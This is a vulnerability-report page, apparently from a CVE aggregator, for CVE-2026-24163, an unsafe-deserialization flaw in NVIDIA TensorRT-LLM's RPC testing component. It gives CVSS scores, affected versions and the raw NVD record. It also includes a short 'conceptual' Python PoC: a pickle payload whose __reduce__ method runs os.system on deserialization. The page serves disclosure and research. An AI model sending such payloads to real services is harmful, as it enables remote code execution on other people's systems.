Security Vulnerability Report
中文
CVE-2026-24163 CVSS 7.5 HIGH

CVE-2026-24163

Published: 2026-05-20 04:16:46
Last Modified: 2026-05-20 19:40:38

Description

NVIDIA TRT-LLM for any platform contains a vulnerability in RPC testing, where an attacker could cause an unsafe deserialization. A successful exploit of this vulnerability might lead to code execution, denial of service, data tampering, and information disclosure.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:C/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:nvidia:tensorrt_llm:*:*:*:*:*:*:*:* - VULNERABLE
NVIDIA TRT-LLM (具体受影响版本请参考厂商公告)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import pickle import os # Conceptual PoC for Unsafe Deserialization # This demonstrates how a malicious payload could be constructed # assuming the vulnerable RPC service uses pickle for data serialization. class MaliciousPayload: def __reduce__(self): # Execute a command upon deserialization return (os.system, ('whoami',)) # Serialize the malicious object malicious_data = pickle.dumps(MaliciousPayload()) print(f"Generated malicious payload length: {len(malicious_data)}") # In a real attack scenario, this 'malicious_data' would be sent # to the vulnerable NVIDIA TRT-LLM RPC testing endpoint.

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-24163", "sourceIdentifier": "[email protected]", "published": "2026-05-20T04:16:45.537", "lastModified": "2026-05-20T19:40:38.177", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "NVIDIA TRT-LLM for any platform contains a vulnerability in RPC testing, where an attacker could cause an unsafe deserialization. A successful exploit of this vulnerability might lead to code execution, denial of service, data tampering, and information disclosure."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:C/C:H/I:H/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "HIGH", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 0.8, "impactScore": 6.0}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-502"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:nvidia:tensorrt_llm:*:*:*:*:*:*:*:*", "versionEndExcluding": "1.2", "matchCriteriaId": "98DDF811-7971-4E89-8807-68A05836B01A"}]}]}], "references": [{"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-24163", "source": "[email protected]", "tags": ["Third Party Advisory", "US Government Resource"]}, {"url": "https://nvidia.custhelp.com/app/answers/detail/a_id/5805", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://www.cve.org/CVERecord?id=CVE-2026-24163", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}